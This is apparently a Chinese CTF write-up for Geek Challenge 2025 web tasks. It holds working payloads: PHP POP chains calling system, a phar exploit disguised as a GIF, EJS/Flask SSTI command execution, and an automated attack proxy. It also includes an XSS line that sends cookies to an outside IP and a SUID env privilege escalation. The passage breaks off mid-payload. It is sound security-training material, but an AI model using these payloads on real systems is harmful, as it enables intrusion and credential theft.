极客大挑战2025(主要是week1 2的题目 有些3 4的题目过于复杂还没弄清楚)

Vibe SEO

此题若是知道站点地图 可以直接尝试输入/sitemap.xml

但是若不知道也可以进行目录扫描

扫描之后访问/sitemap.xml

发现了c

访问/aa__^^.php

发现一堆报错

我们可以依次往下看

主要是看到有两个方面 第一是undefined 第二是readfile这个函数

说明我们需要给filename传递参数 且可以读取它的文件 于是我们想去读/aa__^^.php到底源码是什么

可以传入其本身 filename=/aa__^^.php

源码如下:

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

此处造成的漏洞是未闭合导致可以使用文件描述符去读取文件

1.文件描述符是什么:linux使用文件描述符去指代对应的文件 就是一个快捷方式 通常是存放于/dev/fd 这个虚拟目录当中

2./dev/fd等价于/proc/self/fd/

3.漏洞产生原因在于:linux在打开文件时会自动给每个文件分配一个文件描述符 在进程结束(如exit)或者是fclose关闭时就会被删除

但是此时两者均不占 所以导致了漏洞 故而我们可以使用爆破的方式来猜出/my_secret.txt的文件描述符是哪个整数

?filename=/dev/fd/13

one_last_image

对一句话木马进行了一定的过滤 短标签等号绕过即可

popself

反序列化 先贴上源码

<?php
 show_source(__FILE__);
 ​
 error_reporting(0);
 class All_in_one
 {
     public $KiraKiraAyu;
     public $_4ak5ra;
     public $K4per;
     public $Samsāra;
     public $komiko;
     public $Fox;
     public $Eureka;
     public $QYQS;
     public $sleep3r;
     public $ivory;
     public $L;
 ​
     public function __set($name, $value){
         echo "他还是没有忘记那个".$value."<br>";
         echo "收集夏日的碎片吧<br>";
 ​
         $fox = $this->Fox;
 ​
         if ( !($fox instanceof All_in_one) && $fox()==="summer"){
             echo "QYQS enjoy summer<br>";
             echo "开启循环吧<br>";
             $komiko = $this->komiko;
             $komiko->Eureka($this->L, $this->sleep3r);
         }
     }
 ​
     public function __invoke(){
         echo "恭喜成功signin!<br>";
         echo "welcome to Geek_Challenge2025!<br>";
         $f = $this->Samsāra;
         $arg = $this->ivory;
         $f($arg);
     }
     public function __destruct(){
 ​
         echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
 ​
         if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
             if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                 die("boys和而不同<br>");
             }
 ​
             if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                 echo "BOY♂ sign GEEK<br>";
                 echo "开启循环吧<br>";
                 $this->QYQS->partner = "summer";
             }
             else {
                 echo "BOY♂ can`t sign GEEK<br>";
                 echo md5(md5($this->KiraKiraAyu))."<br>";
                 echo md5($this->K4per)."<br>";
             }
         }
         else{
             die("boys堂堂正正");
         }
     }
 ​
     public function __tostring(){
         echo "再走一步...<br>";
         $a = $this->_4ak5ra;
         $a();
     }
 ​
     public function __call($method, $args){        
         if (strlen($args[0])<4 && ($args[0]+1)>10000){
             echo "再走一步<br>";
             echo $args[1];
         }
         else{
             echo "你要努力进窄门<br>";
         }
     }
 }
 ​
 class summer {
     public static function find_myself(){
         return "summer";
     }
 }
 $payload = $_GET["24_SYC.zip"];
 ​
 if (isset($payload)) {
     unserialize($payload);
 } else {
     echo "没有大家的压缩包的话,瓦达西!<br>";
 }
 ​
 ?>

先说明反序列化思路(倒叙法)

set方法
 1.有一个fox
 2.检查All_in_one是否不是该类的实例  检查fox是否等于summer
 既然这样就很明了了 fox要干的事情就是使其调用summer类的find_myself方法 这样就能通过检查了
 $komiko->Eureka($this->L, $this->sleep3r);
 3.会调用Eureka方法 
 此处的Eureka又会调用call方法 因为Eureka是一个属性而并非一个方法
 ​
 接下来寻找怎么去调用set方法(即找不存在或者说未定义的属性)
 发现了desturct方法内部的partner属性
 调用这个属性就是一个md5的比较 通过即可
 ​
 再来看call方法
 __call($method, $args)
 L是method sleep3r是args
 echo $args[1];
 有echo 说明此时要利用sleep3r去调用tostring方法
 ​
 tostring方法里面有这个
 $a = $this->_4ak5ra;
         $a();
 一眼看过去就是要构造数组调用实例化方法
 所以去寻找能够执行命令的方法
 $f = $this->Samsāra;
         $arg = $this->ivory;
         $f($arg);
         f设置为system arg设置为ls或其他命令即可

payload如下(复制的是博客:极客大挑战2025wp | tiran's blog

<?php
 class All_in_one
 {
     public $KiraKiraAyu;
     public $K4per;
     public $Samsāra;
     public $komiko;
     public $Fox;
     public $QYQS;
     public $sleep3r;
     public $ivory;
     public $L;
     public $_4ak5ra;
 }
 ​
 class summer {}
 ​
 // 对象a: 触发__destruct
 $a = new All_in_one();
 $a->KiraKiraAyu = "hgccx3";        // MD5碰撞值1
 $a->K4per = "s155964671a";         // MD5碰撞值2
 ​
 // 对象b: 触发__set
 $b = new All_in_one();
 $b->Fox = "summer::find_myself";   // 返回"summer"
 $b->komiko = new All_in_one();     // 触发__call
 $b->L = "1e5";                      // 科学计数法,满足<4且+1>10000
 ​
 // 对象c: 最终执行system
 $c = new All_in_one();
 $c->Samsāra = "system";
 $c->ivory = "env";
 ​
 // 对象d: 触发__toString -> __invoke
 $d = new All_in_one();
 $d->_4ak5ra = [$c, "__invoke"];
 ​
 // 连接利用链
 $b->sleep3r = $d;  // __call的第二个参数,触发__toString
 $a->QYQS = $b;     // __destruct设置partner时触发__set
 ​
 echo urlencode(serialize($a));
 ?>

这里强调两个东西

静态调用:"summer::find_myself"

实例调用:[$c, "__invoke"]

这两个是千万不能混用的

最简单的区分 看是实例化方法还是静态方法就看这个方法里面有没有$this

$this代表的是当前正在执行指令的这个对象

Xross The Finish Line(较难)

此题考察的是存储型xss 这就不过多赘述了

既然是xss 最先想到了是否去偷取cookie

那么在2024的极客里面也有一道偷取cookie的题目

payload如下:

<script>alert(document.cookie);</script>

试了一下发现不行 有过滤

那么此时如何测试过滤呢?

可以去github上找一个字典 但是因为这里有回显 所以说我想到了是否可以使用一个工具去测试一下呢?

于是在github上找到了xsstrike这个工具 链接如下:
s0md3v/XSStrike: Most advanced XSS scanner.

这个工具可以进行fuzz过滤测试

最大的疑问在于我们输入后提交页面其实是没有任何变化的 那我们怎么知道是什么请求方式和参数呢

这里就要去抓包看 或是最简单的 去看网络选项卡

根据上面的结果我们可以列出来一些过滤的东西

["script", "img", " ", "\n", "error", """, "'"]

payload如下:

方法一:外带cookie至自己的服务器 
 <svg/onload=location=`http://101.200.39.193/`+document.cookie>
方法二:弹窗回显:
 <svg/onload=alert(document.cookie)>

方法一来自博客:2025极客大挑战

两者都可以偷取cookie就是不知道为什么回显不出flag

这里稍微解释一下这个payload

svg本质是一个图片(绕过script)onload是加载事件 location及其后面的全都是需要执行的js代码 location代表了window.location.href

即跳转到后面的这个url 跳转到了我们的服务器并且把cookie偷出来了 +是字符串连接符

原始payload:

<script> window.location.href = "http://101.200.39.193/" + document.cookie; </script>

Expression

此题首先是一个jwt爆破密钥(题目给的提示告诉我们一开始要从jwt入手)

kali虚拟机自带了一个jwt字典 为rockyou.txt

这个字典复制下来粘贴到jwt_tool_master的目录下面即可使用

命令如下:

python jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjIyMjg2ODI2NzVAcXEuY29tIiwidXNlcm5hbWUiOiJ1c2VyX2E4NTYwN2ZjNTc1NiIsImlhdCI6MTc2ODE3MzcxNCwiZXhwIjoxNzY4Nzc4NTE0fQ.z8nGFuaOhcTL28ZpNbnCIYU789I-CrAVabtCkSdbsYk" -C -d rockyou.txt

接下来有两个点需要注意

1.题目名字为Expression 结合抓包看到的Express框架(不知道为什么我复现的时候没有 来源于博客第16届极客大挑战-web - J_0k3r

2.Expression模板和之前的flask模板不一样 通常无沙箱 所以构造起来相对简单

<%= 7*7 %>   测试用
<%= process.mainModule.require('child_process').execSync('whoami').toString() %>  执行命令可用
<%= process.env.FLAG %>   查看环境变量可用

ez_read

此题考察了两个方面 第一是文件读取 第二是ssti绕过处理

首先是文件读取方面

我们在注册成功之后点击登录 发先有读取故事页面

那么这里根据多方wp的讲解 我们去尝试读取/proc/1/environ

那么这个1代表的是什么呢 根据上面一道题的讲解不难想到 应该是进程

所以这个命令代表的就是PID 为 1 的进程的环境变量列表 环境变量很重要!!

那么这里我们还可以使用/proc/self/environ 即当前正在执行读取操作的进程

这里返回结果是一样的 说明这两个进程是重合的 但是有些时候就不是重合的 只不过1就是代表的docker启动的那个命令的进程(比如这个命令:python app.py)

读取之后内容如下

KUBERNETES_PORT=1449KUBERNETES_SERVICE_PORT=449HOSTNAME=dep-8918b14d-e5f7-44e3-98a7-ebe601c79204-69f5f7648-62tfrOLDPWD=/opt/___web_very_strange_42___PYTHONUNBUFFERED=1GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78PYTHONDONTWRITEBYTECODE=1HINT=用我提个权吧KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sockPATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=1449KUBERNETES_PORT_443_TCP_PROTO=LANG=C.UTF-8PYTHON_VERSION=3.11.14KUBERNETES_SERVICE_PORT_HTTPS=449KUBERNETES_PORT_443_TCP=KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sockPWD=/opt/___web_very_strange_42___HOME=/opt/___web_very_strange_42___

发现了一个hint(考察提权)

还有一个pwd

pwd十分重要:代表了当前 Python 进程是在哪个文件夹里运行的

所以我们自然想去读一下这个进程的文件夹的源码(一般是app.py)

读取了之后发现了题目源码

from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
 import os
 ​
 app = Flask(__name__, template_folder="templates", static_folder="static")
 app.secret_key = "key_ciallo_secret"
 ​
 USERS = {}
 ​
 ​
 def waf(payload: str) -> str:
     print(len(payload))
     if not payload:
         return ""
         
     if len(payload) not in (114, 514):
         return payload.replace("(", "")
     else:
         waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
         for w in waf:
             if w in payload:
                 raise ValueError(f"waf")
 ​
     return payload
 ​
 ​
 @app.route("/")
 def index():
     user = session.get("user")
     return render_template("index.html", user=user)
 ​
 ​
 @app.route("/register", methods=["GET", "POST"])
 def register():
     if request.method == "POST":
         username = (request.form.get("username") or "")
         password = request.form.get("password") or ""
         if not username or not password:
             return render_template("register.html", error="用户名和密码不能为空")
         if username in USERS:
             return render_template("register.html", error="用户名已存在")
         USERS[username] = {"password": password}
         session["user"] = username
         return redirect(url_for("profile"))
     return render_template("register.html")
 ​
 ​
 @app.route("/login", methods=["GET", "POST"])
 def login():
     if request.method == "POST":
         username = (request.form.get("username") or "").strip()
         password = request.form.get("password") or ""
         user = USERS.get(username)
         if not user or user.get("password") != password:
             return render_template("login.html", error="用户名或密码错误")
         session["user"] = username
         return redirect(url_for("profile"))
     return render_template("login.html")
 ​
 ​
 @app.route("/logout")
 def logout():
     session.clear()
     return redirect(url_for("index"))
 ​
 ​
 @app.route("/profile")
 def profile():
     user = session.get("user")
     if not user:
         return redirect(url_for("login"))
     name_raw = request.args.get("name", user)
     
     try:
         filtered = waf(name_raw)
         tmpl = f"欢迎,{filtered}"
         rendered_snippet = render_template_string(tmpl)
         error_msg = None
     except Exception as e:
         rendered_snippet = ""
         error_msg = f"渲染错误: {e}"
     return render_template(
         "profile.html",
         content=rendered_snippet,
         name_input=name_raw,
         user=user,
         error_msg=error_msg,
     )
 ​
 ​
 @app.route("/read", methods=["GET", "POST"])
 def read_file():
     user = session.get("user")
     if not user:
         return redirect(url_for("login"))
 ​
     base_dir = os.path.join(os.path.dirname(__file__), "story")
     try:
         entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
     except FileNotFoundError:
         entries = []
 ​
     filename = ""
     if request.method == "POST":
         filename = request.form.get("filename") or ""
     else:
         filename = request.args.get("filename") or ""
 ​
     content = None
     error = None
 ​
     if filename:
         sanitized = filename.replace("../", "")
         target_path = os.path.join(base_dir, sanitized)
         if not os.path.isfile(target_path):
             error = f"文件不存在: {sanitized}"
         else:
             with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
                 content = f.read()
 ​
     return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
 ​
 ​
 if __name__ == "__main__":
     app.run(host="0.0.0.0", port=8080, debug=False)

不难发现profile路由下面有一个明显的ssti漏洞

于是我们尝试去使用fenjing梭哈发现不行

为什么不行呢 原因如下:

if len(payload) not in (114, 514):
         return payload.replace("(", "")
     else:
         waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
         for w in waf:
             if w in payload:
                 raise ValueError(f"waf")
 ​
     return payload

这里有长度限制!!!!

payload要求必须是114 或者是514

而fenjing还没有那么厉害能够直接精准到payload长度 它只能绕过waf

所以这里就有两个方法

1.自己构造 2.还是利用fenjing 只不过要间接使用fenjing

自己构造就不提了

主要是法二

先贴上博客的脚本:极客大挑战2025wp | tiran's blog

 # 导入必要的库
 from flask import Flask, request, Response  # 用来搭建本地 Web 服务器
 import requests  # 用来向真正的靶场发送 HTTP 请求
 import re  # 正则表达式,用来提取页面里的结果
 ​
 app = Flask(__name__)  # 初始化 Flask 应用
 ​
 # 这是真正的题目地址
 TARGET_BASE = "http://8080-8918b14d-e5f7-44e3-98a7-ebe601c79204.challenge.ctfplus.cn/"
 ​
 @app.route("/")  # 定义本地路由,当你访问 http://127.0.0.1:5000/ 时触发
 def forward():
     # 1. 获取 Payload
     # 工具(Fenjing)会把攻击代码放在 name 参数里发过来
     name = request.args.get("name")
     if not name:
         return "请提供name参数", 400
     
     # 2. 准备账号密码
     password = "1"  # 密码随便设一个,反正每次都是新注册
     
     # 3. 核心逻辑:自动填充长度 (Bypass WAF)
     # 比如 name 是 "{{7*7}}",长度是 7。
     # 114 - 7 = 107。脚本会自动补 107 个 'a'。
     # 最终 reg_name 变成了 "{{7*7}}aaaaa..." (总长 114)
     # 这样就完美绕过了服务端 "len != 114" 的检查。
     reg_name = name + 'a' * (114 - len(name)) 
     
     # 4. 初始化 Session
     # 使用 Session 对象可以自动保存 Cookie (session id),模拟浏览器的状态保持
     s = requests.Session()
     
     # 5. 自动化攻击流程
     # 第一步:注册 (Register)
     # 把带有 Payload 的名字注册进系统
     s.post(f"{TARGET_BASE}/register", data={"username": reg_name, "password": password})
     
     # 第二步:登录 (Login)
     # 登录刚才注册的账号,服务器会在 Cookie 里记录你是谁
     s.post(f"{TARGET_BASE}/login", data={"username": reg_name, "password": password})
     
     # 第三步:触发漏洞 (Trigger)
     # 访问个人主页。服务器读取你的用户名(包含 Payload),渲染模板,执行代码。
     r = s.get(f"{TARGET_BASE}/profile")
     
     # 6. 结果提取 (Cleaning)
     # Fenjing 需要看到干净的输出(比如 "49"),而不是一堆 HTML 代码。
     # 使用正则找到 <div class="rendered"> 标签里的内容
     m = re.search(r'<div class="rendered">(.*?)</div>', r.text, re.DOTALL)
     if not m:
         return "未找到<div class=\"rendered\">", 404
     content = m.group(1)
     
     # 进一步清洗:只保留 "欢迎," 后面的部分
     idx = content.find("欢迎,")
     if idx == -1:
         return "Not Found", 404
     
     # 切片操作,拿到真正的执行结果
     result = content[idx + len("欢迎,") :]
     
     if not result:
         return "Not Found", 404
         
     # 7. 返回结果
     # 把清洗好的结果返回给 Fenjing
     return Response(result, content_type="text/plain; charset=utf-8")
 ​
 if __name__ == "__main__":
     # 在本地 5000 端口启动服务
     app.run("0.0.0.0", 5000, debug=True)

这是一个转发脚本

工作原理如下

脚本启动之后开启监听等待

fenjing访问127.0.0.1:5000/这个路由之后尝试各种payload

此时脚本接收到fenjing发来的payload之后

发送到真正的靶场进行尝试

尝试完之后把结果发回fenjing

其实我还有一个想法

我们下载了sstilab之后修改waf之后也是开个本地靶机 然后使用fenjing跑

只不过这样我们就看不到靶场页面回显了 只能给出个payload而已

后续还考察了suid提权 给出网站:env | GTFOBins

直接查询env提权的用法 env cat /flag即可

ez-seralize

此题考察了两点 文件读取和phar反序列化

此题首先得多去尝试读取各种文件

我首先去尝试了dirsearch去扫了一下

那么这里扫到了uploads.php 1.我尝试了去读取一下(发现了uploads.php的源码)

uploads.php 源码如下:

<?php
 $uploadDir = __DIR__ . '/uploads/';
 if (!is_dir($uploadDir)) {
     mkdir($uploadDir, 0755, true);
 }
 $whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
 $allowedMimes = [
     'txt'  => ['text/plain'],
     'log'  => ['text/plain'],
     'jpg'  => ['image/jpeg'],
     'jpeg' => ['image/jpeg'],
     'png'  => ['image/png'],
     'zip'  => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
     'gif'  => ['image/gif'],
     'gz'   => ['application/gzip', 'application/x-gzip']
 ];
 ​
 $resultMessage = '';
 ​
 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
     $file = $_FILES['file'];
 ​
     if ($file['error'] === UPLOAD_ERR_OK) {
         $originalName = $file['name'];
         $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
         if (!in_array($ext, $whitelist, true)) {
             die('File extension not allowed.');
         }
 ​
         $mime = $file['type'];
         if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
             die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
         }
 ​
         $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
         $safeBaseName = ltrim($safeBaseName, '.');
         $targetFilename = time() . '_' . $safeBaseName;
 ​
         file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
 ​
         $targetPath = $uploadDir . $targetFilename;
         if (move_uploaded_file($file['tmp_name'], $targetPath)) {
             @chmod($targetPath, 0644);
             $resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
         } else {
             $resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
         }
     } else {
         $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
     }
 }
 ?>
 ​
 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <title>Secure File Upload</title>
     <style>
         body {
             font-family: "Segoe UI", Arial, sans-serif;
             background: linear-gradient(135deg, #e3f2fd, #f8f9fa);
             height: 100vh;
             display: flex;
             align-items: center;
             justify-content: center;
         }
         .container {
             background: #fff;
             padding: 2em 3em;
             border-radius: 16px;
             box-shadow: 0 8px 24px rgba(0,0,0,0.1);
             max-width: 400px;
             width: 90%;
             text-align: center;
         }
         h1 {
             color: #0078d7;
             margin-bottom: 0.8em;
             font-size: 1.6em;
         }
         input[type="file"] {
             display: block;
             margin: 1em auto;
             font-size: 0.95em;
         }
         button {
             background-color: #0078d7;
             color: white;
             border: none;
             padding: 0.6em 1.4em;
             border-radius: 6px;
             cursor: pointer;
             transition: 0.2s ease;
         }
         button:hover {
             background-color: #005ea6;
         }
         .success, .error {
             margin-top: 1em;
             padding: 0.8em;
             border-radius: 8px;
             font-weight: 600;
         }
         .success {
             background: #e8f5e9;
             color: #2e7d32;
             border: 1px solid #81c784;
         }
         .error {
             background: #ffebee;
             color: #c62828;
             border: 1px solid #ef9a9a;
         }
         .footer {
             margin-top: 1.5em;
             font-size: 0.85em;
             color: #666;
         }
     </style>
 </head>
 <body>
 <div class="container">
     <h1>📤 File Upload Portal</h1>
     <form method="POST" enctype="multipart/form-data">
         <input type="file" name="file" required>
         <button type="submit">Upload</button>
     </form>
     <?= $resultMessage ?>
     <div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div>
 </div>
 </body>
 </html>

注意到

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

2.访问了这个文件 发现了文件上传界面

这里允许zip 我立马就想到了是否可以使用phar伪协议

接下里就有点不知道怎么办了 查看了很多wp

首先进题目就翻一下源代码有没有隐藏什么东西

找到了这个提示

这个的意思是这样的

1.open_basedir限制了我们去读取文件 只能读取/var/www/html 和/tmp 以及这两个的子目录 其他的都不能读取 比如/etc/passwd是读取不了的

2.sys_temp_dir upload_temp_dir 告诉我们系统临时文件和临时上传文件都存储在/tmp下(为后面访问埋下伏笔)

接下来我们访问index.php 内容如下:

<?php
 ini_set('display_errors', '0');
 $filename = isset($_GET['filename']) ? $_GET['filename'] : null;
 ​
 $content = null;
 $error = null;
 ​
 if (isset($filename) && $filename !== '') {
     $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
     foreach ($balcklist as $v) {
         if (strpos($filename, $v) !== false) {
             $error = "no no no";
             break;
         }
     }
 ​
     if ($error === null) {
         if (isset($_GET['serialized'])) {
             require 'function.php';
             $file_contents= file_get_contents($filename);
             if ($file_contents === false) {
                 $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
             } else {
                 $content = $file_contents;
             }
         } else {
             $file_contents = file_get_contents($filename);
             if ($file_contents === false) {
                 $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
             } else {
                 $content = $file_contents;
             }
         }
     }
 } else {
     $error = null;
 }
 ?>
 <!DOCTYPE html>
 <html lang="zh-CN">
 <head>
     <meta charset="utf-8">
     <meta name="viewport" content="width=device-width,initial-scale=1">
     <title>File Reader</title>
     <style>
         :root{
             --card-bg: #ffffff;
             --page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);
             --accent: #1e88e5;
             --muted: #6b7280;
             --success: #16a34a;
             --danger: #dc2626;
             --card-radius: 12px;
             --card-pad: 20px;
         }
         html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;}
         body{
             background: var(--page-bg);
             display:flex;
             align-items:center;
             justify-content:center;
             padding:24px;
         }
         .card{
             width:100%;
             max-width:820px;
             background:var(--card-bg);
             border-radius:var(--card-radius);
             box-shadow: 0 10px 30px rgba(16,24,40,0.08);
             padding:var(--card-pad);
         }
         h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}
         p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}
         form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px}
         input[type="text"]{
             flex:1;
             padding:10px 12px;
             border:1px solid #e6e9ef;
             border-radius:8px;
             font-size:14px;
             outline:none;
             transition:box-shadow .12s ease,border-color .12s ease;
         }
         input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)}
         button.btn{
             padding:10px 16px;
             background:var(--accent);
             color:white;
             border:none;
             border-radius:8px;
             cursor:pointer;
             font-weight:600;
         }
         button.btn.secondary{
             background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef;
         }
         .hint{font-size:12px;color:var(--muted);margin-top:6px}
         .result{
             margin-top:14px;
             border-radius:8px;
             overflow:hidden;
             border:1px solid #e6e9ef;
         }
         .result .meta{
             padding:10px 12px;
             display:flex;
             justify-content:space-between;
             align-items:center;
             background:#fbfdff;
             font-size:13px;
             color:#111827;
         }
         .result .body{
             padding:12px;
             background:#0b1220;
             color:#e6eef8;
             font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace;
             font-size:13px;
             line-height:1.5;
             max-height:520px;
             overflow:auto;
             white-space:pre-wrap;
             word-break:break-word;
         }
         .alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;}
         .alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}
         .alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}
         .alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}
         .footer{margin-top:12px;font-size:12px;color:var(--muted)}
         @media (max-width:640px){
             .card{padding:16px}
             .result .meta{font-size:12px}
         }
     </style>
 </head>
 <body>
 <div class="card">
     <h1>📄 File Reader</h1>
     <p class="lead">在下面输入要读取的文件</p>
 ​
     <form class="controls" method="get" action="">
         <input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" />
         <button type="submit" class="btn">读取文件</button>
         <a class="btn secondary" href="">重置</a>
     </form>
 ​
 ​
     <?php if ($error !== null && $error !== ''): ?>
         <div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
     <?php endif; ?>
     <!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
     > /usr/local/etc/php/conf.d/zz-open_basedir.ini-->
 ​
     <?php if ($content !== null): ?>
         <div class="result" aria-live="polite">
             <div class="meta">
                 <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
                 <div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
             </div>
             <div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
         </div>
     <?php elseif ($error === null && isset($_GET['filename'])): ?>
         <div class="alert warn">未能读取内容或文件为空。</div>
     <?php endif; ?>
 </div>
 </body>
 </html>

重点关注几行代码

$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];

既然是文件读取的源代码 我们自然去找文件读取的逻辑

if ($error === null) {
         if (isset($_GET['serialized'])) {
             require 'function.php';
             $file_contents= file_get_contents($filename);
             if ($file_contents === false) {
                 $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
             } else {
                 $content = $file_contents;
             }
         } else {
             $file_contents = file_get_contents($filename);
             if ($file_contents === false) {
                 $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
             } else {
                 $content = $file_contents;
             }
         }
     }
 } else {
     $error = null;
 } if (isset($_GET['serialized'])) {
             require 'function.php';
             $file_contents= file_get_contents($filename);

此处是文件读取函数和phar反序列化之间的联动 往下看就懂了

同时我们发现了function.php

访问之后就是我们的序列化内容(重点)

<?php
 class A {
     public $file;
     public $luo;
 ​
     public function __construct() {
     }
 ​
     public function __toString() {
         $function = $this->luo;
         return $function();
     }
 }
 ​
 class B {
     public $a;
     public $test;
 ​
     public function __construct() {
     }
 ​
     public function __wakeup()
     {
         echo($this->test);
     }
 ​
     public function __invoke() {
         $this->a->rce_me();
     }
 }
 ​
 class C {
     public $b;
 ​
     public function __construct($b = null) {
         $this->b = $b;
     }
 ​
     public function rce_me() {
         echo "Success!\n";
         system("cat /flag/flag.txt > /tmp/flag");
     }
 }

这个链子构造起来是很简单的 逻辑也很简单

那么最重要的是学习新的phar反序列化的知识

phar反序列化基础

简单理解有以下几点:

1.理解什么是phar

2.了解phar的构成

3.了解我们可控的是什么

4.phar和反序列化有什么关系(在于其与文件读取函数的联动以及元数据的序列化特性)

回到本题 贴上链子

<?php
 // === 第一部分:把题目里的类抄下来 ===
 // 这一步是为了让生成的序列化数据格式和题目一致
 class A {
     public $file;
     public $luo;
 }
 class B {
     public $a;
     public $test;
 }
 class C {
     public $b;
 }
 ​
 // === 第二部分:组装多米诺骨牌(关键!) ===
 ​
 // 1. 造出最后的执行者 C
 $c_final = new C(); 
 // 这个对象里有 rce_me() 方法,它是我们要利用的核心。
 ​
 // 2. 造出倒数第二步的触发器 B (为了触发 invoke)
 $b_invoker = new B();
 $b_invoker->a = $c_final; 
 // 逻辑:当 $b_invoker 被当函数调用时 -> 执行 $b_invoker->a->rce_me() -> 即 $c_final->rce_me()
 ​
 // 3. 造出中间的连接器 A (为了触发 toString)
 $a_string = new A();
 $a_string->luo = $b_invoker;
 // 逻辑:当 $a_string 被 echo 时 -> 执行 $a_string->luo() -> 即 $b_invoker() -> 触发 B::__invoke
 ​
 // 4. 造出入口点 B (为了触发 wakeup)
 $b_entry = new B();
 $b_entry->test = $a_string;
 // 逻辑:反序列化开始 -> 自动执行 $b_entry->__wakeup() -> echo $b_entry->test -> 即 echo $a_string -> 触发 A::__toString
 ​
 // === 第三部分:打包成 Phar 文件 ===
 ​
 @unlink("exp.phar"); // 删掉旧的
 $phar = new Phar("exp.phar");
 $phar->startBuffering();
 ​
 // 1. 设置 Stub(伪装头)
 // GIF89a 是 GIF 图片的文件头,骗过某些极其简单的文件头检测
 // __HALT_COMPILER(); 是必须的,告诉 PHP 这是一个 Phar
 $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
 ​
 // 2. 将恶意的入口对象放进 Metadata
 // 【这是最最最关键的一步】
 // setMetadata 会自动把 $b_entry 这个对象序列化后存入 phar 文件头中
 $phar->setMetadata($b_entry);
 ​
 // 3. 随便加个文件,不然 phar 不能生成
 $phar->addFromString("test.txt", "hello");
 ​
 $phar->stopBuffering();
 ​
 echo "生成完毕,请把 exp.phar 改名为 exp.jpg 上传";
 ?>

接下来要做的就很简单了

1.上传 2.访问/tmp/log.txt 查看我们传入的被命名成什么了 3.传入?serialized=1&filename=phar://uploads/1705030000_exp.jpg

4.访问/tmp/flag即可获取flag

这里再附上一篇phar反序列化的文章

浅析Phar反序列化 - FreeBuf网络安全行业门户

百年继承

此题考察的是python原型链污染

在这里放两篇博客可进行学习

python原型链污染 - 学习笔记 - ciscn2024 | zty153’s_blog = 网安 = web学习

浅谈python原型链污染 - Sauy's corner

我看到的三篇wp的payload如下:

{
   "__class__":{
     "__base__":{
       "__base__":{
